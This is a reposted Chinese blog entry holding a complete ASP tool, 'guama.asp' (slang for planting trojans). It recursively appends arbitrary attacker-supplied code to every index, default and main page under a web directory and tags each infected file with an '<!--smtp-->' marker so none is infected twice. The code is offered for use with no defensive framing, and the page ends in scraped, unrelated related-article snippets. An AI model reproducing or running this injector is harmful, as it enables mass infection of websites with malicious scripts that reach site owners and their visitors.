批量插入/修改网页代码的asp脚本
<html>
<meta http-equiv="Content-Language" content="zh-cn">
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<meta name="GENERATOR" content="Microsoft FrontPage 4.0">
<meta name="ProgId" content="FrontPage.Editor.Document">
<title>页面批量修改器</title>
<style>
BODY {
FONT-SIZE: 9pt;
COLOR: #000000;
FONT-FAMILY: "Courier New";
scrollbar-face-color:#C1D78E;
scrollbar-highlight-color:#FFFFFF;
scrollbar-3dlight-color:#C1D78E;
scrollbar-darkshadow-color:#9C9CD3;
scrollbar-shadow-color:#C1D78E;
scrollbar-arrow-color:#4444B3;
scrollbar-track-color:#EFEFEF;
}
TABLE {
FONT-SIZE: 9pt;
FONT-FAMILY: "Courier New";
BORDER-COLLAPSE: collapse;
border-top-width: 1px;
border-right-width: 1px;
border-bottom-width: 1px;
border-left-width: 1px;
border-top-style: solid;
border-right-style: none;
border-bottom-style: none;
border-left-style: solid;
border-top-color: #7D9B37;
border-right-color: #7D9B37;
border-bottom-color: #7D9B37;
border-left-color: #7D9B37;
}
.tr {
font-family: "Courier New";
font-size: 9pt;
background-color: #C1D78E;
text-align: center;
}
.td {
font-family: "Courier New";
font-size: 9pt;
background-color: #f9f9fd;
}
.warningColor {
font-family: "Courier New";
font-size: 9pt;
color: #ff0000;
}
input {
font-family: "Courier New";
BORDER-TOP-WIDTH: 1px;
BORDER-LEFT-WIDTH: 1px;
FONT-SIZE: 12px;
BORDER-BOTTOM-WIDTH: 1px;
BORDER-RIGHT-WIDTH: 1px;
color: #000000;
}
textarea {
font-family: "Courier New";
BORDER-TOP-WIDTH: 1px;
BORDER-LEFT-WIDTH: 1px;
FONT-SIZE: 12px;
BORDER-BOTTOM-WIDTH: 1px;
BORDER-RIGHT-WIDTH: 1px;
color: #000000;
}
A:visited {
FONT-SIZE: 9pt;
COLOR: #333333;
FONT-FAMILY: "Courier New";
TEXT-DECORATION: none;
}
A:active {
FONT-SIZE: 9pt;
COLOR: #3366cc;
FONT-FAMILY: "Courier New";
TEXT-DECORATION: none;
}
A:link {
FONT-SIZE: 9pt;
COLOR: #000000;
FONT-FAMILY: "Courier New";
TEXT-DECORATION: none;
}
A:hover {
FONT-SIZE: 9pt;
COLOR: #3366cc;
FONT-FAMILY: "Courier New";
TEXT-DECORATION: none;
}tr {
font-family: "Courier New";
font-size: 9pt;
line-height: 18px;
}
td {
font-family: "Courier New";
font-size: 9pt;
border-top-width: 1px;
border-right-width: 1px;
border-bottom-width: 1px;
border-left-width: 1px;
border-top-style: none;
border-right-style: solid;
border-bottom-style: solid;
border-left-style: none;
border-top-color: #7D9B37;
border-right-color: #7D9B37;
border-bottom-color: #7D9B37;
border-left-color: #7D9B37;
}
.trHead {
font-family: "Courier New";
font-size: 9pt;
background-color: #C1D78E;
line-height: 3px;
}
.inputLogin {
font-family: "Courier New";
font-size: 9pt;
border: 1px solid #7D9B37;
background-color: #f9f9fd;
vertical-align: bottom;
}
.font-list {
font-size: 9pt;
color: CCCCFF;
font-family: "Courier New";
}
</style>
<div align="center">
<center>
<table border="0" cellpadding="0" cellspacing="0" width="800">
<tr>
<td>
<div align="center">
<table border="0" cellpadding="0" cellspacing="0" width="800">
<tr>
<td bgcolor="#FFFFFF" height="50">
<p align="center"><b><font color="#708A31" face="华文行楷" size="5">页面批量修改器</font></b></td>
</tr>
<tr>
<td></td>
</tr>
<FORM name="add" method="POST" action="guama.asp">
<tr>
<td bgcolor="#FFFFFF">
<div align="center">
<table border="0" cellpadding="0" cellspacing="0" width="802">
<tr>
<td width="683"><font size="1">路径:<%=Server.MapPath(".")%></font>
<td width="116">
</td>
</tr>
<tr>
<td width="683">路径: <font color="#FFFF00" size="1"><INPUT TYPE=text NAME=filepath style="border:1px solid #000000; " value="c:\wwwroot\test" size="20"></font>
<td width="116"><font size="1"><INPUT TYPE=Submit VALUE="提交" check()" style="border:1px solid #000000; ">
</font>
</td>
</tr>
<tr>
<td width="683">文件名: <font color="#FFFF00" size="1"><INPUT TYPE=text NAME=filename style="border:1px solid #000000; " value="index.asp|index.html|index.htm|Default.htm|Default.asp|Default.html|main.asp|main.htm|main.html" size="100">
</font></td>
</tr>
</table>
</div>
</td>
</tr>
<tr>
<td bgcolor="#FFFFFF">
<div align="center">
<table border="0" cellpadding="0" cellspacing="0" width="800" height="35">
<tr>
<td height="16">
<p align="center"><b><font color="#708A31" face="华文行楷" size="5">代码内容</font></b></td>
</tr>
<tr>
<td height="19"><textarea name="data" cols="111" rows="7" id="data">
</td>
</tr>
</table>
</td>
</tr>
</table>
</form>
</div>
</td>
</tr>
</table>
</center>
</div>
<%
Server.ScriptTimeOut = 10000
Dim xr,dm,filenames,path,fso
path=Request.Form("filepath")
Name=Request.Form("filename")
UserID="<!--smtp-->"
data=Request.Form("data")&UserID
MyArray = Split(Name, "|", -1, 1)
Set fso = createObject("Scripting.FileSystemObject")
scan(Request.Form("filepath")) 'web目录目力路径
sub scan(folder_) 'scan函数定义,
set folder_=fso.getfolder(folder_)
set files=folder_.files ' 当前目录的所有文件集合
for each Files in files '获取文件后缀
Set f1 = fso.GetFile(Files)
filesext=f1.Name
ext=lcase(filesext) '后缀名转换成小写字母
For Each index in MyArray
if ext=lcase(index) then
Set File = Fso.OpenTextFile(Files,1)
Do While File.AtEndOfLine <> True
DataStr = File.readall
FindStr = InstrRev(DataStr,UserID)
Loop
If FindStr = 0 Then
On Error Resume Next
Set Writes = fso.OpenTextFile(Files,8) '打开文件并在文件末尾进行写操作
Writes.WriteLine(data)
Writes.Close
Response.write Files &" .............ok<br>"
Response.write FindStr
Else
Response.write Files &"............Have<br>"
Response.write FindStr
End if
end if
next
next
set subfolders=folder_.subfolders
for each subfolder in subfolders '搜索其他目录;递归调用
scan(subfolder)
next
end sub
%>
转载于:https://blog.51cto.com/wyulnnhtg/31068
批量插入/修改网页代码的asp脚本相关推荐
- java应用程序接口批量访问_spring中使用mybatis实现批量插入的示例代码
有3种实现方式:foreach,spring事务,以及ExecutorType.BATCH. 1. foreach方式 这种方式实际是对SQL语句进行拼接,生成一个长长的SQL,对很多变量进行绑定.如 ...
- MySql 批量插入数据库Java代码实现思路
说明: mysql执行inset语句并未明确说明限制多少条语句,但是sql语句在超过一定的大小后,执行就会报错,百度得知mysql 5.7 最大语句执行最大不能超过4M,当然,在mysql执行批量插入 ...
- php批量数据提交mysql_php在mysql里批量插入数据(代码实例)
假如说我有这样一个表,我想往这个表里面插入大量数据CREATE TABLE IF NOT EXISTS `user_info` ( `id` int(11) NOT NULL AUTO_INCREME ...
- 修改网页代码_利用网页监控优势,做百度自动推送
网页监控是什么?WEB视界网页监控是指利用自动化服务来扫描监控网站页面,当发现网站页面有变化时,就立即作出响应的服务.网页监控优势有很多,那么如何利用网页监控优势来做百度自动推送呢? 网页监控做百度推 ...
- 想要快速播放网页视频么(直接修改网页代码实现加速)
现在有不少的视频网站,自带了播放加速的功能,例如油管.bilibili.慕课等等. 在一些付费的网站中,一些自带的播放器是不支持视频加速的,因为已经被加速惯坏,变得很不习惯,在网上查阅资料,也找到了在 ...
- 修改网页代码_网站建设中使用简洁规范代码的重要性
在网站建设周期中,不是说网站上线可以正常打开就完事了,我们网站建设上线之前,还应该检查一下网站源代码是否足够规范,规范的源码才能确保网站后期不会出现一些后遗症.那么,网站建设中使用简洁规范的代码有哪些 ...
- Hibernate中的一段批量插入功能的代码
/** * 批处理保存信息 */ public void batchsave(List<T> entity) { Session session = getSession() ...
- c mysql 批量插入_c#之mysql四种带事务批量插入
前言 对于像我这样的业务程序员开发一些表单内容是家常便饭的事情,说道表单 我们都避免不了多行内容的提交,多行内容保存,自然要用到数据库,如果循环打扰我数据库,数据库也会觉得很累,从而增加数据库服务器压 ...
- EF批量插入太慢?那是你的姿势不对
大概所有的程序员应该都接触过批量插入的场景,我也相信任何的程序员都能写出可正常运行的批量插入的代码.但怎样实现一个高效.快速插入的批量插入功能呢? 由于每个人的工作履历,工作年限的不同,在实现这样的一 ...
最新文章
- STL的pair键值对
- 专注jQurey的博客【2012年度IT博客大赛分类推荐】
- c++学习笔记之异常
- SQLyog备份与还原数据库
- 【EOS】2.2 发行Token,转移Token
- 双链表插入、删除操作单步解析(十四)
- Android之Camera预览
- PyQt5实现软键盘
- c语言做贪吃蛇怎么记住成绩,用C语言编写贪吃蛇的思路是怎样的?
- python实现键盘自动输入
- android fsck_msdos 分析(二)
- vscode实用快捷键_23个常用的VSCode快捷键(动图演示)
- birt什么意思中文翻译_有含义的英文网名带中文翻译
- EBS 取消PO订单、订单行、订单发运行
- 数据抓取软件是如何抓取数据的?
- 黑鲨3pro手机如何升级鸿蒙5g系统,黑鲨3 Pro升降按键怎么进行设置
- Python开发者的画笔-turtle
- jQuery方法返回jQuery对象还是DOM对象
- 91---Python 直角坐标系下绘制双曲线图像
- java福利游戏_《我的世界中国版》PC Java版开测 家族盛典福利不断